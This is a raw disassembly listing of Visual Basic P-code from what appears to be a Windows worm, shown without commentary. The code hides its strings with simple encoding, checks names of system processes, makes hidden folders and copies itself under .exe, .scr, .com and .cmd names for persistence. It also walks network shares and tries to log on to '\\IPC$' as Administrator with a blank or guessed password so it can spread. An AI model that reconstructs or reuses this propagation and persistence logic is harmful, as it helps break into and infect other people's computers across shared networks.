0041172eFStVarCopyObj var_F0
00411731FLdRfVar var_F0
00411734FLdRfVar var_100
00411737ImpAdCallFPR4 rtcUpperCaseVar, 8
0041173cFLdRfVar var_100
0041173fEqVarBool
00411741FFree1Ad var_8C
00411744FFreeVar var_D0, var_F0, var_E0, var_100
0041174fBranchF 0x41176e
00411752LitI4 2
00411757ImpAdLdRf pool#12
0041175aLitVarStr var_C0, "\\cypreg.dll"
0041175fConcatVar var_D0
00411763ImpAdCallFPR4 rtcShell, 8
00411768FStFPR8 65256
0041176bFFree1Var var_D0
0041176e
0041176eloc_41176e:
0041176eLitI2 255
00411771PopTmpLdAd2 65254
00411774LitI2_Byte 0
00411776PopTmpLdAd2 65362
00411779ImpAdCallI2 pool#19, 8
0041177eCI4UI1
0041177fFLdRfVar var_D0
00411782ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411787FLdRfVar var_D0
0041178aLitI2 255
0041178dPopTmpLdAd2 65250
00411790LitI2_Byte 0
00411792PopTmpLdAd2 65252
00411795ImpAdCallI2 pool#19, 8
0041179aCI4UI1
0041179bFLdRfVar var_E0
0041179eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117a3FLdRfVar var_E0
004117a6AddVar 65296
004117aaLitI2 255
004117adPopTmpLdAd2 65246
004117b0LitI2_Byte 0
004117b2PopTmpLdAd2 65248
004117b5ImpAdCallI2 pool#19, 8
004117baCI4UI1
004117bbFLdRfVar var_100
004117beImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117c3FLdRfVar var_100
004117c6AddVar 65264
004117caLitI2 255
004117cdPopTmpLdAd2 65242
004117d0LitI2_Byte 0
004117d2PopTmpLdAd2 65244
004117d5ImpAdCallI2 pool#19, 8
004117daCI4UI1
004117dbFLdRfVar var_138
004117deImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117e3FLdRfVar var_138
004117e6AddVar 65208
004117eaLitI2 255
004117edPopTmpLdAd2 65204
004117f0LitI2_Byte 0
004117f2PopTmpLdAd2 65206
004117f5ImpAdCallI2 pool#19, 8
004117faCI4UI1
004117fbFLdRfVar var_15C
004117feImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411803FLdRfVar var_15C
00411806AddVar 65172
0041180aLitI2 255
0041180dPopTmpLdAd2 65168
00411810LitI2_Byte 0
00411812PopTmpLdAd2 65170
00411815ImpAdCallI2 pool#19, 8
0041181aCI4UI1
0041181bFLdRfVar var_180
0041181eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411823FLdRfVar var_180
00411826AddVar 65136
0041182aLitI2 255
0041182dPopTmpLdAd2 65132
00411830LitI2_Byte 0
00411832PopTmpLdAd2 65134
00411835ImpAdCallI2 pool#19, 8
0041183aCI4UI1
0041183bFLdRfVar var_1A4
0041183eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411843FLdRfVar var_1A4
00411846AddVar 65100
0041184aLitI2 255
0041184dPopTmpLdAd2 65096
00411850LitI2_Byte 0
00411852PopTmpLdAd2 65098
00411855ImpAdCallI2 pool#19, 8
0041185aCI4UI1
0041185bFLdRfVar var_1C8
0041185eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411863FLdRfVar var_1C8
00411866AddVar 65064
0041186aLitI2 255
0041186dPopTmpLdAd2 65060
00411870LitI2_Byte 0
00411872PopTmpLdAd2 65062
00411875ImpAdCallI2 pool#19, 8
0041187aCI4UI1
0041187bFLdRfVar var_1EC
0041187eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411883FLdRfVar var_1EC
00411886AddVar 65028
0041188aCStrVarVal 65392
0041188eFLdPr arg_8
00411891VCallHresult 84, 2
00411896FFree1Str var_90
00411899FFreeVar var_D0, var_E0, var_F0, var_100, var_110, var_138, var_148, var_15C, var_16C, var_180, var_190, var_1A4, var_1B4, var_1C8, var_1D8, var_1EC, var_1FC
004118beLitStr "service.exe"
004118c1ImpAdStStrCopy pool#22
004118c5LitVarStr var_C0, "smss.exe"
004118caImpAdStVarCopy pool#24
004118ceThisVCallHresult 1784, 25
004118d3FLdRfVar var_90
004118d6FLdRfVar var_8C
004118d9ImpAdLdRf pool#3
004118dcNewIfNullPr 4
004118dfVCallHresult 20, 5
004118e4FLdPr var_8C
004118e7VCallHresult 88, 6
004118ecFLdZeroAd var_90
004118efCVarStr var_D0
004118f2FLdRfVar var_E0
004118f5ImpAdCallFPR4 rtcUpperCaseVar, 8
004118faFLdRfVar var_E0
004118fdFStVar 65012
00411901FFree1Ad var_8C
00411904FFree1Var var_D0
00411907FLdRfVar var_20C
0041190aLitVarStr var_C0, "system"
0041190fFStVarCopyObj var_D0
00411912FLdRfVar var_D0
00411915FLdRfVar var_E0
00411918ImpAdCallFPR4 rtcUpperCaseVar, 8
0041191dFLdRfVar var_E0
00411920EqVarBool
00411922FFreeVar var_D0, var_E0
00411929BranchF 0x411948
0041192cThisVCallHresult 1792, 25
00411931LitI2_Byte -1
00411933FLdPrThis
00411934VCallAd 776
00411937FStAdFunc var_8C
0041193aFLdPr var_8C
0041193dVCallHresult 92, 27
00411942FFree1Ad var_8C
00411945Branch 0x4119fb
00411948
00411948loc_411948:
00411948FLdRfVar var_20C
0041194bLitVarStr var_C0, "lsass"
00411950FStVarCopyObj var_D0
00411953FLdRfVar var_D0
00411956FLdRfVar var_E0
00411959ImpAdCallFPR4 rtcUpperCaseVar, 8
0041195eFLdRfVar var_E0
00411961EqVarBool
00411963FFreeVar var_D0, var_E0
0041196aBranchF 0x411975
0041196dImpAdCallFPR4 pool#29, 0
00411972Branch 0x4119fb
00411975
00411975loc_411975:
00411975FLdRfVar var_20C
00411978ImpAdLdRf pool#22
0041197bCVarRef 65344, 16392
00411980FLdRfVar var_D0
00411983ImpAdCallFPR4 rtcUpperCaseVar, 8
00411988FLdRfVar var_D0
0041198bEqVarBool
0041198dFFree1Var var_D0
00411990BranchF 0x4119c0
00411993FLdRfVar var_D0
00411996ImpAdCallFPR4 pool#30, 4
0041199bFFree1Var var_D0
0041199eFLdRfVar var_D0
004119a1ThisVCallHresult 1796, 25
004119a6FFree1Var var_D0
004119a9LitI2_Byte -1
004119abFLdPrThis
004119acVCallAd 776
004119afFStAdFunc var_8C
004119b2FLdPr var_8C
004119b5VCallHresult 92, 27
004119baFFree1Ad var_8C
004119bdBranch 0x4119fb
004119c0
004119c0loc_4119c0:
004119c0FLdRfVar var_20C
004119c3LitVarStr var_C0, "smss"
004119c8FStVarCopyObj var_D0
004119cbFLdRfVar var_D0
004119ceFLdRfVar var_E0
004119d1ImpAdCallFPR4 rtcUpperCaseVar, 8
004119d6FLdRfVar var_E0
004119d9EqVarBool
004119dbFFreeVar var_D0, var_E0
004119e2BranchF 0x4119fb
004119e5FLdRfVar var_D0
004119e8ThisVCallHresult 1816, 25
004119edFFree1Var var_D0
004119f0FLdRfVar var_D0
004119f3ImpAdCallFPR4 pool#32, 4
004119f8FFree1Var var_D0
004119fb
004119fbloc_4119fb:
004119fbLitI4 1
00411a00CStrI4
00411a02FStStr var_210
00411a05ImpAdLdI4 pool#33
00411a08FLdRfVar var_A0
00411a0bCStr2Ansi
00411a0cILdRf var_A0
00411a0fILdRf var_210
00411a12FLdRfVar var_9C
00411a15CStr2Ansi
00411a16ILdRf var_9C
00411a19LitStr "Ver"
00411a1cFLdRfVar var_98
00411a1fCStr2Ansi
00411a20ILdRf var_98
00411a23LitStr "xxx"
00411a26FLdRfVar var_90
00411a29CStr2Ansi
00411a2aILdRf var_90
00411a2dImpAdCallFPR4 fn_406288, 16
00411a32SetLastSystemError
00411a33ILdRf var_9C
00411a36FLdRfVar var_210
00411a39CStr2Uni
00411a3bILdRf var_A0
00411a3eImpAdLdRf pool#33
00411a41CStr2Uni
00411a43FFreeStr var_90, var_98, var_9C, var_A0
00411a4eImpAdLdI4 pool#33
00411a51FLdRfVar var_A0
00411a54CStr2Ansi
00411a55ILdRf var_A0
00411a58ILdRf var_210
00411a5bFLdRfVar var_9C
00411a5eCStr2Ansi
00411a5fILdRf var_9C
00411a62LitStr "Len"
00411a65FLdRfVar var_98
00411a68CStr2Ansi
00411a69ILdRf var_98
00411a6cLitStr "xxx"
00411a6fFLdRfVar var_90
00411a72CStr2Ansi
00411a73ILdRf var_90
00411a76ImpAdCallFPR4 fn_406288, 16
00411a7bSetLastSystemError
00411a7cILdRf var_9C
00411a7fFLdRfVar var_210
00411a82CStr2Uni
00411a84ILdRf var_A0
00411a87ImpAdLdRf pool#33
00411a8aCStr2Uni
00411a8cFFreeStr var_90, var_98, var_9C, var_A0
00411a97ExitProcHresult
00411574

00411a98
00411a98 struct ProcDscInfo
00411a98 lpObjectInfo uint32 0x405168
00411a9c wArgSize int 4
00411a9e wFrameSize int 396
00411aa0 wPCodeBackOffset uint16 0x411574
00411aa2 wTotalSize uint16 0x002c
00411aa4 wProcOptFlags uint16 0x0000
00411aa6 wReserved uint16 0x0000
00411aa8 wBosSkipTableOff uint16 0x0000
00411aaa wBaseIfaceSlot uint16 0x0013
00411aac wReserved2 uint16 0x0000
00411aae wReserved3 uint16 0x0000
00411ab0
00411ab0 14 00 00 00 00 00 02 00 00 00 00 00 f4 fd 02 00 ................
00411ac0 f0 fd 01 00 74 00 00 00 00 00 1a 00 00 00 00 00 ....t...........
00411ad0 70 ff 01 00 68 ff 01 00 64 ff 01 00 60 ff 01 00 p...h...d...`...
00411ae0 5c ff 01 00 58 ff 01 00 54 ff 01 00 74 ff 03 00 \...X...T...t...
00411af0 6c ff 03 00 30 ff 02 00 20 ff 02 00 10 ff 02 00 l...0... .......
00411b00 00 ff 02 00 f0 fe 02 00 c8 fe 02 00 b8 fe 02 00 ................
00411b10 a4 fe 02 00 94 fe 02 00 80 fe 02 00 70 fe 02 00 ............p...
00411b20 5c fe 02 00 4c fe 02 00 38 fe 02 00 28 fe 02 00 \...L...8...(...
00411b30 14 fe 02 00 04 fe 02 00 ........

00411b38
00411b38FrmMain.instal:
00411b38LargeBos 2
00411b3aLargeBos 5
00411b3cOnErrorGoto 65535
00411b3fLargeBos 29
00411b41LitI2_Byte 0
00411b43FLdRfVar var_C8
00411b46ImpAdLdRf pool#3
00411b49NewIfNullPr 4
00411b4cVCallHresult 20, 5
00411b51FLdPr var_C8
00411b54VCallHresult 124, 6
00411b59FFree1Ad var_C8
00411b5cLargeBos 99
00411b5eFLdRfVar var_CC
00411b61FLdRfVar var_C8
00411b64ImpAdLdRf pool#3
00411b67NewIfNullPr 4
00411b6aVCallHresult 20, 5
00411b6fFLdPr var_C8
00411b72VCallHresult 80, 6
00411b77FLdZeroAd var_CC
00411b7aCVarStr var_DC
00411b7dImpAdCallI2 pool#38, 4
00411b82FStStrNoPop var_E8
00411b85FLdRfVar var_E4
00411b88FLdRfVar var_E0
00411b8bImpAdLdRf pool#3
00411b8eNewIfNullPr 4
00411b91VCallHresult 20, 5
00411b96FLdPr var_E0
00411b99VCallHresult 88, 6
00411b9eILdRf var_E4
00411ba1ConcatStr
00411ba2FStStrNoPop var_EC
00411ba5FLdPr arg_8
00411ba8MemStStrCopy arg_38
00411bacFFreeStr var_E8, var_E4, var_EC
00411bb5FFreeAd var_C8, var_E0
00411bbcFFree1Var var_DC
00411bbfLargeBos 35
00411bc1ImpAdLdI4 pool#14
00411bc4LitVarStr var_FC, "Uzpz}lh{'mee"
00411bc9FStVarCopyObj var_DC
00411bccFLdRfVar var_DC
00411bcfImpAdCallI2 pool#40, 4
00411bd4FStStrNoPop var_CC
00411bd7ConcatStr
00411bd8ImpAdStStr pool#33
00411bdcFFree1Str var_CC
00411bdfFFree1Var var_DC
00411be2LargeBos 22
00411be4LitVarI4 65316, 5, 0
00411becImpAdCallI2 pool#41, 4
00411bf1ImpAdStStr pool#42
00411bf5FFree1Var var_DC
00411bf8LargeBos 25
00411bfaLitVarI4 65316, 2, 0
00411c02ImpAdCallI2 pool#41, 4
00411c07CVarStr var_10C
00411c0aImpAdStVar pool#43
00411c0eFFree1Var var_DC
00411c11LargeBos 18
00411c13ImpAdLdRf pool#43
00411c16LitVarStr var_FC, "\\startup"
00411c1bConcatVar var_DC
00411c1fImpAdStVar pool#43
00411c23LargeBos 25
00411c25LitVarI4 65316, 6, 0
00411c2dImpAdCallI2 pool#41, 4
00411c32CVarStr var_10C
00411c35ImpAdStVar pool#45
00411c39FFree1Var var_DC
00411c3cLargeBos 118
00411c3eLitVarI4 65316, 0, 0
00411c46ImpAdCallI2 pool#41, 4
00411c4bFStStr var_E4
00411c4eLitVarI4 65268, 0, 0
00411c56ImpAdCallI2 pool#41, 4
00411c5bFStStrNoPop var_CC
00411c5eFnLenStr
00411c5fLitI4 7
00411c64SubI4
00411c65CVarI4 var_14C
00411c69LitI4 1
00411c6eFLdZeroAd var_E4
00411c71CVarStr var_12C
00411c74FLdRfVar var_15C
00411c77ImpAdCallFPR4 rtcMidCharVar, 16
00411c7cFLdRfVar var_15C
00411c7fLitVarStr var_16C, "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h"
00411c84FStVarCopyObj var_17C
00411c87FLdRfVar var_17C
00411c8aImpAdCallI2 pool#40, 4
00411c8fCVarStr var_18C
00411c92ConcatVar var_19C
00411c96ImpAdStVar pool#48
00411c9aFFreeStr var_CC, var_E4
00411ca1FFreeVar var_DC, var_10C, var_12C, var_14C, var_17C, var_15C, var_18C
00411cb2LargeBos 24
00411cb4LitVarStr var_FC, "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn"
00411cb9FStVarCopyObj var_DC
00411cbcFLdRfVar var_DC
00411cbfImpAdCallI2 pool#40, 4
00411cc4FStStr var_88
00411cc7FFree1Var var_DC
00411ccaLargeBos 24
00411cccLitVarStr var_FC, "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a"
00411cd1FStVarCopyObj var_DC
00411cd4FLdRfVar var_DC
00411cd7ImpAdCallI2 pool#40, 4
00411cdcFStStr var_8C
00411cdfFFree1Var var_DC
00411ce2LargeBos 13
00411ce4FLdRfVar var_DC
00411ce7ImpAdCallFPR4 pool#51, 4
00411cecFFree1Var var_DC
00411cefLargeBos 13
00411cf1FLdRfVar var_DC
00411cf4ThisVCallHresult 1828, 25
00411cf9FFree1Var var_DC
00411cfcLargeBos 32
00411cfeImpAdLdI4 pool#14
00411d01LitStr "\\"
00411d04ConcatStr
00411d05FStStrNoPop var_CC
00411d08LitI4 3
00411d0dImpAdLdRf pool#53
00411d10Ary1LdI4
00411d11ConcatStr
00411d12CVarStr var_DC
00411d15ImpAdStVar pool#54
00411d19FFree1Str var_CC
00411d1cLargeBos 22
00411d1eLitI4 2
00411d23ImpAdLdRf pool#54
00411d26CStrVarVal 65332
00411d2aImpAdCallFPR4 rtcSetFileAttr, 8
00411d2fFFree1Str var_CC
00411d32LargeBos 37
00411d34ImpAdLdRf pool#12
00411d37LitVarStr var_FC, "\\"
00411d3cConcatVar var_DC
00411d40LitI4 1
00411d45ImpAdLdRf pool#53
00411d48Ary1LdI4
00411d49CVarStr var_11C
00411d4cConcatVar var_10C
00411d50ImpAdStVar pool#56
00411d54FFree1Var var_DC
00411d57LargeBos 17
00411d59ImpAdLdRf pool#56
00411d5cCStrVarVal 65332
00411d60ImpAdCallFPR4 rtcMakeDir, 4
00411d65FFree1Str var_CC
00411d68LargeBos 22
00411d6aLitI4 7
00411d6fImpAdLdRf pool#56
00411d72CStrVarVal 65332
00411d76ImpAdCallFPR4 rtcSetFileAttr, 8
00411d7bFFree1Str var_CC
00411d7eLargeBos 17
00411d80ImpAdLdRf pool#54
00411d83CStrVarVal 65332
00411d87ImpAdCallFPR4 rtcMakeDir, 4
00411d8cFFree1Str var_CC
00411d8fLargeBos 42
00411d91ImpAdLdRf pool#56
00411d94LitVarStr var_FC, "Uzl{\x7f`jl'lql"
00411d99FStVarCopyObj var_DC
00411d9cFLdRfVar var_DC
00411d9fImpAdCallI2 pool#40, 4
00411da4CVarStr var_10C
00411da7ConcatVar var_12C
00411dabCStrVarTmp
00411dacImpAdStStr pool#59
00411db0FFreeVar var_DC, var_10C, var_12C
00411db9LargeBos 42
00411dbbImpAdLdRf pool#56
00411dbeLitVarStr var_FC, "Uzdzz'lql"
00411dc3FStVarCopyObj var_DC
00411dc6FLdRfVar var_DC
00411dc9ImpAdCallI2 pool#40, 4
00411dceCVarStr var_10C
00411dd1ConcatVar var_12C
00411dd5CStrVarTmp
00411dd6ImpAdStStr pool#61
00411ddaFFreeVar var_DC, var_10C, var_12C
00411de3LargeBos 27
00411de5ImpAdLdRf pool#59
00411de8FLdPr arg_8
00411debMemLdStr arg_38
00411deeLitStr ".exe"
00411df1ConcatStr
00411df2PopTmpLdAdStr 65332
00411df6ImpAdCallFPR4 pool#63, 8
00411dfbFFree1Str var_CC
00411dfeLargeBos 27
00411e00ImpAdLdRf pool#59
00411e03FLdPr arg_8
00411e06MemLdStr arg_38
00411e09LitStr ".scr"
00411e0cConcatStr
00411e0dPopTmpLdAdStr 65332
00411e11ImpAdCallFPR4 pool#63, 8
00411e16FFree1Str var_CC
00411e19LargeBos 27
00411e1bImpAdLdRf pool#59
00411e1eFLdPr arg_8
00411e21MemLdStr arg_38
00411e24LitStr ".com"
00411e27ConcatStr
00411e28PopTmpLdAdStr 65332
00411e2cImpAdCallFPR4 pool#63, 8
00411e31FFree1Str var_CC
00411e34LargeBos 27
00411e36ImpAdLdRf pool#59
00411e39FLdPr arg_8
00411e3cMemLdStr arg_38
00411e3fLitStr ".cmd"
00411e42ConcatStr
00411e43PopTmpLdAdStr 65332
00411e47ImpAdCallFPR4 pool#63, 8
00411e4cFFree1Str var_CC
00411e4fLargeBos 13
00411e51FLdRfVar var_DC
00411e54ThisVCallHresult 1808, 25
00411e59FFree1Var var_DC
00411e5cLargeBos 7
00411e5eThisVCallHresult 1788, 25
00411e63SelectCaseByte 0
00411e65FLdRfVar var_CC
00411e68FLdRfVar var_C8
00411e6bImpAdLdRf pool#3
00411e6eNewIfNullPr 4
00411e71VCallHresult 20, 5
00411e76FLdPr var_C8
00411e79VCallHresult 88, 6
00411e7eILdRf var_CC
00411e81LitStr ".exe"
00411e84ConcatStr
00411e85CVarStr var_DC
00411e88FLdRfVar var_10C
00411e8bImpAdCallFPR4 rtcUpperCaseVar, 8
00411e90FLdRfVar var_10C
00411e93LitVarStr var_FC, "lsass.exe"
00411e98FStVarCopyObj var_12C
00411e9bFLdRfVar var_12C
00411e9eFLdRfVar var_14C
00411ea1ImpAdCallFPR4 rtcUpperCaseVar, 8
00411ea6FLdRfVar var_14C
00411ea9NeVar 65188
00411eadFLdRfVar var_E4
00411eb0FLdRfVar var_E0
00411eb3ImpAdLdRf pool#3
00411eb6NewIfNullPr 4
00411eb9VCallHresult 20, 5
00411ebeFLdPr var_E0
00411ec1VCallHresult 88, 6
00411ec6ILdRf var_E4
00411ec9LitStr ".exe"
00411eccConcatStr
00411ecdCVarStr var_17C
00411ed0FLdRfVar var_18C
00411ed3ImpAdCallFPR4 rtcUpperCaseVar, 8
00411ed8FLdRfVar var_18C
00411edbLitVarStr var_11C, "winlogon.exe"
00411ee0FStVarCopyObj var_19C
00411ee3FLdRfVar var_19C
00411ee6FLdRfVar var_1AC
00411ee9ImpAdCallFPR4 rtcUpperCaseVar, 8
00411eeeFLdRfVar var_1AC
00411ef1NeVar 65092
00411ef5AndVar 65076
00411ef9FLdRfVar var_E8
00411efcFLdRfVar var_1D0
00411effImpAdLdRf pool#3
00411f02NewIfNullPr 4
00411f05VCallHresult 20, 5
00411f0aFLdPr var_1D0
00411f0dVCallHresult 88, 6
00411f12ILdRf var_E8
00411f15LitStr ".exe"
00411f18ConcatStr
00411f19CVarStr var_1E0
00411f1cFLdRfVar var_1F0
00411f1fImpAdCallFPR4 rtcUpperCaseVar, 8
00411f24FLdRfVar var_1F0
00411f27LitVarStr var_13C, "system.exe"
00411f2cFStVarCopyObj var_200
00411f2fFLdRfVar var_200
00411f32FLdRfVar var_210
00411f35ImpAdCallFPR4 rtcUpperCaseVar, 8
00411f3aFLdRfVar var_210
00411f3dNeVar 64992
00411f41AndVar 64976
00411f45FLdRfVar var_EC
00411f48FLdRfVar var_234
00411f4bImpAdLdRf pool#3
00411f4eNewIfNullPr 4
00411f51VCallHresult 20, 5
00411f56FLdPr var_234
00411f59VCallHresult 88, 6
00411f5eILdRf var_EC
00411f61LitStr ".exe"
00411f64ConcatStr
00411f65CVarStr var_244
00411f68FLdRfVar var_254
00411f6bImpAdCallFPR4 rtcUpperCaseVar, 8
00411f70FLdRfVar var_254
00411f73ImpAdLdRf pool#22
00411f76CVarRef 65172, 16392
00411f7bFLdRfVar var_264
00411f7eImpAdCallFPR4 rtcUpperCaseVar, 8
00411f83FLdRfVar var_264
00411f86NeVar 64908
00411f8aAndVar 64892
00411f8eFLdRfVar var_28C
00411f91FLdRfVar var_288
00411f94ImpAdLdRf pool#3
00411f97NewIfNullPr 4
00411f9aVCallHresult 20, 5
00411f9fFLdPr var_288
00411fa2VCallHresult 88, 6
00411fa7ILdRf var_28C
00411faaLitStr ".exe"
00411fadConcatStr
00411faeCVarStr var_29C
00411fb1FLdRfVar var_2AC
00411fb4ImpAdCallFPR4 rtcUpperCaseVar, 8
00411fb9FLdRfVar var_2AC
00411fbcImpAdLdRf pool#22
00411fbfCVarRef 64836, 16392
00411fc4FLdRfVar var_2CC
00411fc7ImpAdCallFPR4 rtcUpperCaseVar, 8
00411fccFLdRfVar var_2CC
00411fcfNeVar 64804
00411fd3AndVar 64788
00411fd7FLdRfVar var_2F4
00411fdaFLdRfVar var_2F0
00411fddImpAdLdRf pool#3
00411fe0NewIfNullPr 4
00411fe3VCallHresult 20, 5
00411fe8FLdPr var_2F0
00411febVCallHresult 88, 6
00411ff0ILdRf var_2F4
00411ff3LitStr ".exe"
00411ff6ConcatStr
00411ff7CVarStr var_304
00411ffaFLdRfVar var_314
00411ffdImpAdCallFPR4 rtcUpperCaseVar, 8
00412002FLdRfVar var_314
00412005ImpAdLdRf pool#24
00412008FLdRfVar var_324
0041200bImpAdCallFPR4 rtcUpperCaseVar, 8
00412010FLdRfVar var_324
00412013NeVar 64716
00412017AndVar 64700
0041201bCBoolVarNull
0041201dFFreeStr var_CC, var_E4, var_E8, var_EC, var_28C, var_2F4
0041202cFFreeAd var_C8, var_E0, var_1D0, var_234, var_288, var_2F0
0041203bFFreeVar var_DC, var_12C, var_10C, var_14C, var_17C, var_19C, var_18C, var_1AC, var_1E0, var_200, var_1F0, var_210, var_244, var_254, var_264, var_29C, var_2AC, var_2CC, var_304, var_314, var_324
00412068BranchF 0x412076
0041206bLargeBos 7
0041206dThisVCallHresult 1832, 25
00412072LargeBos 4
00412074End
00412076
00412076loc_412076:
00412076LargeBos 2
00412078LargeBos 0
0041207aExitProcHresult
00411b38

0041207b
0041207b struct PCodePad
0041207b 04 .
0041207c
0041207c struct ProcDscInfo
0041207c lpObjectInfo uint32 0x405168
00412080 wArgSize int 4
00412082 wFrameSize int 704
00412084 wPCodeBackOffset uint16 0x411b38
00412086 wTotalSize uint16 0x0038
00412088 wProcOptFlags uint16 0x0000
0041208a wReserved uint16 0x0000
0041208c wBosSkipTableOff uint16 0x00f4
0041208e wBaseIfaceSlot uint16 0x0013
00412090 wReserved2 uint16 0x0000
00412092 wReserved3 uint16 0x0000
00412094
00412094 1e 00 00 00 01 00 03 00 00 00 00 00 ............
004120a0 78 ff 01 00 3c ff 04 00 1a 00 00 00 ff 00 74 ff x...<.........t.
004120b0 01 00 ff ff bc 00 00 00 00 00 2c 00 00 00 00 00 ..........,.....
004120c0 34 ff 01 00 1c ff 01 00 18 ff 01 00 14 ff 01 00 4...............
004120d0 74 fd 01 00 0c fd 01 00 38 ff 03 00 20 ff 03 00 t.......8... ...
004120e0 30 fe 03 00 cc fd 03 00 78 fd 03 00 10 fd 03 00 0.......x.......
004120f0 24 ff 02 00 f4 fe 02 00 d4 fe 02 00 b4 fe 02 00 $...............
00412100 a4 fe 02 00 84 fe 02 00 74 fe 02 00 64 fe 02 00 ........t...d...
00412110 54 fe 02 00 44 fe 02 00 34 fe 02 00 20 fe 02 00 T...D...4... ...
00412120 10 fe 02 00 00 fe 02 00 f0 fd 02 00 e0 fd 02 00 ................
00412130 d0 fd 02 00 bc fd 02 00 ac fd 02 00 9c fd 02 00 ................
00412140 8c fd 02 00 7c fd 02 00 64 fd 02 00 54 fd 02 00 ....|...d...T...
00412150 34 fd 02 00 24 fd 02 00 14 fd 02 00 fc fc 02 00 4...$...........
00412160 ec fc 02 00 dc fc 02 00 cc fc 02 00 bc fc 02 00 ................
00412170 01 00 08 02 ....

00412174
00412174fn_412174:
00412174LargeBos 2
00412176LargeBos 5
00412178OnErrorGoto 65535
0041217bLargeBos 10
0041217dLitI4 -1
00412182FStR4 65392
00412185LargeBos 38
00412187FLdRfVar var_8C
0041218aILdRf arg_C
0041218dLitI4 0
00412192LitI4 0
00412197LitI4 2
0041219cImpAdCallI2 fn_407df4, 20
004121a1FStR4 65352
004121a4SetLastSystemError
004121a5ILdRf var_B8
004121a8FStR4 65400
004121abLargeBos 24
004121adILdRf var_88
004121b0LitI4 0
004121b5EqI4
004121b6ILdRf var_8C
004121b9LitI4 0
004121beNeI4
004121bfAndI4
004121c0BranchF 0x412668
004121c3LargeBos 40
004121c5LitI4 16384
004121caPopTmpLdAdStr 65352
004121cdLitI4 0
004121d2FLdRfVar var_B0
004121d5Ary1LdRf
004121d6FLdRfVar var_90
004121d9ILdRf var_8C
004121dcImpAdCallI2 fn_407e40, 16
004121e1FStR4 65348
004121e4SetLastSystemError
004121e5ILdRf var_BC
004121e8FStR4 65400
004121ebLargeBos 14
004121edILdRf var_88
004121f0LitI4 0
004121f5EqI4
004121f6BranchF 0x412650
004121f9LargeBos 23
004121fbLitI2_Byte 0
004121fdFLdRfVar var_92
00412200ILdRf var_90
00412203LitI4 1
00412208SubI4
00412209CI2I4
0041220aForI2 65344, 1241
00412210LargeBos 21
00412212FLdI2 var_92
00412215CI4UI1
00412216FLdRfVar var_B0
00412219Ary1LdPr
0041221aMemLdRfVar 20
0041221dImpAdCallI2 pool#8, 4
00412222FStStr var_98
00412225LargeBos 13
00412227FLdRfVar var_98
0041222aImpAdCallI2 pool#9, 4
0041222fFStStr var_98
00412232LargeBos 64
00412234FLdI2 var_92
00412237CI4UI1
00412238FLdRfVar var_B0
0041223bAry1LdPr
0041223cMemLdRfVar 20
0041223fImpAdCallI2 pool#8, 4
00412244FStStr var_104
00412247LitI4 2
0041224cFLdZeroAd var_104
0041224fCVarStr var_D0
00412252FLdRfVar var_E0
00412255ImpAdCallFPR4 rtcLeftCharVar, 12
0041225aFLdRfVar var_E0
0041225dLitVarStr var_F0, "\\\\"
00412262HardType
00412263EqVarBool
00412265FFree1Str var_104
00412268FFreeVar var_D0, var_E0
0041226fBranchF 0x412607
00412272LargeBos 49
00412274LitVar_Missing var_134
00412277LitVar_Missing var_100
0041227aLitVar_Missing var_E0
0041227dFLdI2 var_92
00412280CI4UI1
00412281FLdRfVar var_B0
00412284Ary1LdPr
00412285MemLdRfVar 20
00412288ImpAdCallI2 pool#8, 4
0041228dCVarStr var_D0
00412290ILdPr 20
00412293VCallHresult 32, 2
00412298FFreeVar var_D0, var_E0, var_100, var_134
004122a3LargeBos 22
004122a5FLdI2 var_92
004122a8CI4UI1
004122a9FLdRfVar var_B0
004122acAry1LdPr
004122adMemLdStr arg_8
004122b0LitI4 2
004122b5EqI4
004122b6BranchF 0x412605
004122b9LargeBos 38
004122bbFLdI2 var_92
004122beCI4UI1
004122bfFLdRfVar var_B0
004122c2Ary1LdPr
004122c3MemLdRfVar 20
004122c6ImpAdCallI2 pool#8, 4
004122cbFStStrNoPop var_104
004122ceLitStr "\\IPC$"
004122d1ConcatStr
004122d2FStStrNoPop var_158
004122d5FStStrCopy var_140
004122d8FFreeStr var_104, var_158
004122dfLargeBos 67
004122e1LitI4 1
004122e6LitStr "Administrator"
004122e9FLdRfVar var_158
004122ecCStr2Ansi
004122edILdRf var_158
004122f0LitStr ""
004122f3FLdRfVar var_104
004122f6CStr2Ansi
004122f7ILdRf var_104
004122faFLdRfVar var_154
004122fdFLdRfVar var_178
00412300CRec2Ansi 17
00412303FLdRfVar var_178
00412306ImpAdCallFPR4 fn_407f5c, 16
0041230bSetLastSystemError
0041230cFLdRfVar var_178
0041230fFLdRfVar var_154
00412312CRec2Uni 17
00412315FFreeStr var_104, var_158
0041231cDestructAnsiOFrame 65160, 17
00412322LargeBos 146
00412324FLdI2 var_92
00412327CI4UI1
00412328FLdRfVar var_B0
0041232bAry1LdPr
0041232cMemLdRfVar 20
0041232fImpAdCallI2 pool#8, 4
00412334FStStr var_1A4
00412337LitI4 0
0041233cLitI4 -1
00412341LitI4 1
00412346LitStr ""
00412349LitStr "\\"
0041234cFLdZeroAd var_1A4
0041234fFStStrNoPop var_104
00412352ImpAdCallI2 rtcReplace, 24
00412357CVarStr var_D0
0041235aFLdRfVar var_E0
0041235dImpAdCallFPR4 rtcLowerCaseVar, 8
00412362LitI4 1
00412367LitStr "Administrator"
0041236aFLdRfVar var_1A0
0041236dCStr2Ansi
0041236eILdRf var_1A0
00412371FLdRfVar var_E0
00412374CStrVarVal 65192
00412378FLdRfVar var_19C
0041237bCStr2Ansi
0041237cILdRf var_19C
0041237fFLdRfVar var_154
00412382FLdRfVar var_198
00412385CRec2Ansi 17
00412388FLdRfVar var_198
0041238bImpAdCallFPR4 fn_407f5c, 16
00412390SetLastSystemError
00412391FLdRfVar var_198
00412394FLdRfVar var_154
00412397CRec2Uni 17
0041239aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4
004123a7FFreeVar var_D0, var_E0
004123aeDestructAnsiOFrame 65128, 17
004123b4LargeBos 141
004123b6FLdI2 var_92
